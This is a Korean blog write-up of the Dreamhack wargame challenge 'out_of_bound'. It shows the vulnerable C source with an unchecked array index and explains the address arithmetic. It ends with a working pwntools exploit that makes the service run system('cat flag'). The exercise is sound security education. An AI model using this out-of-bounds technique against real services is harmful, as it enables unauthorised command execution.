Fascination
article thumbnail

out_of_bound

이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
“flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


# 문제 분석

- 소스 코드

  • command에 접근하는 idx에 대한 검증이 없으므로 oob 가능
  • system 함수는 const char * 인수가 필요하므로 name 배열에서 0번째 인덱스부터 3번째 인덱스까지 "cat flag" 문자열을 저장하고 있는 곳의 주소를 저장한다면 해당 주소를 따라가 system("cat flag")가 출력될 것임
  • 따라서 name[4] 위치부터 "cat flag" 문자열을 저장하고 그 주소를 이용할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

 

- 입력할 idx 구하기

  • command와 name 사이의 거리
    • name[0]의 주소: 0x0804a0ac
    • command[0]의 주소: 0x0804a060

  • const char *는 포인터이므로 32bit 환경에서 4byte이므로 76/4 = 19 를 idx 값으로 사용한다면 name[0]에 접근할 수 있게 됨

 

 

# Exploit

from pwn import *

#p = process("./out_of_bound")
p = remote("host3.dreamhack.games",21841)

command = p32(0x0804a0ac+4)+b"cat flag"
p.sendlineafter("Admin name: ",command)
p.sendlineafter("What do you want?: ",str(19))

p.interactive()

 

 

# 실행결과

'War Game & CTF > Dreamhack' 카테고리의 다른 글

[Dreamhack] basic_rop_x86  (4) 2022.09.24
[Dreamhack] basic_rop_x64  (2) 2022.09.18
[Dreamhack] Return Oriented Programming  (0) 2022.09.14
[Dreamhack] ssp_001  (0) 2022.09.13
[Dreamhack] Return to Library  (0) 2022.09.07
profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!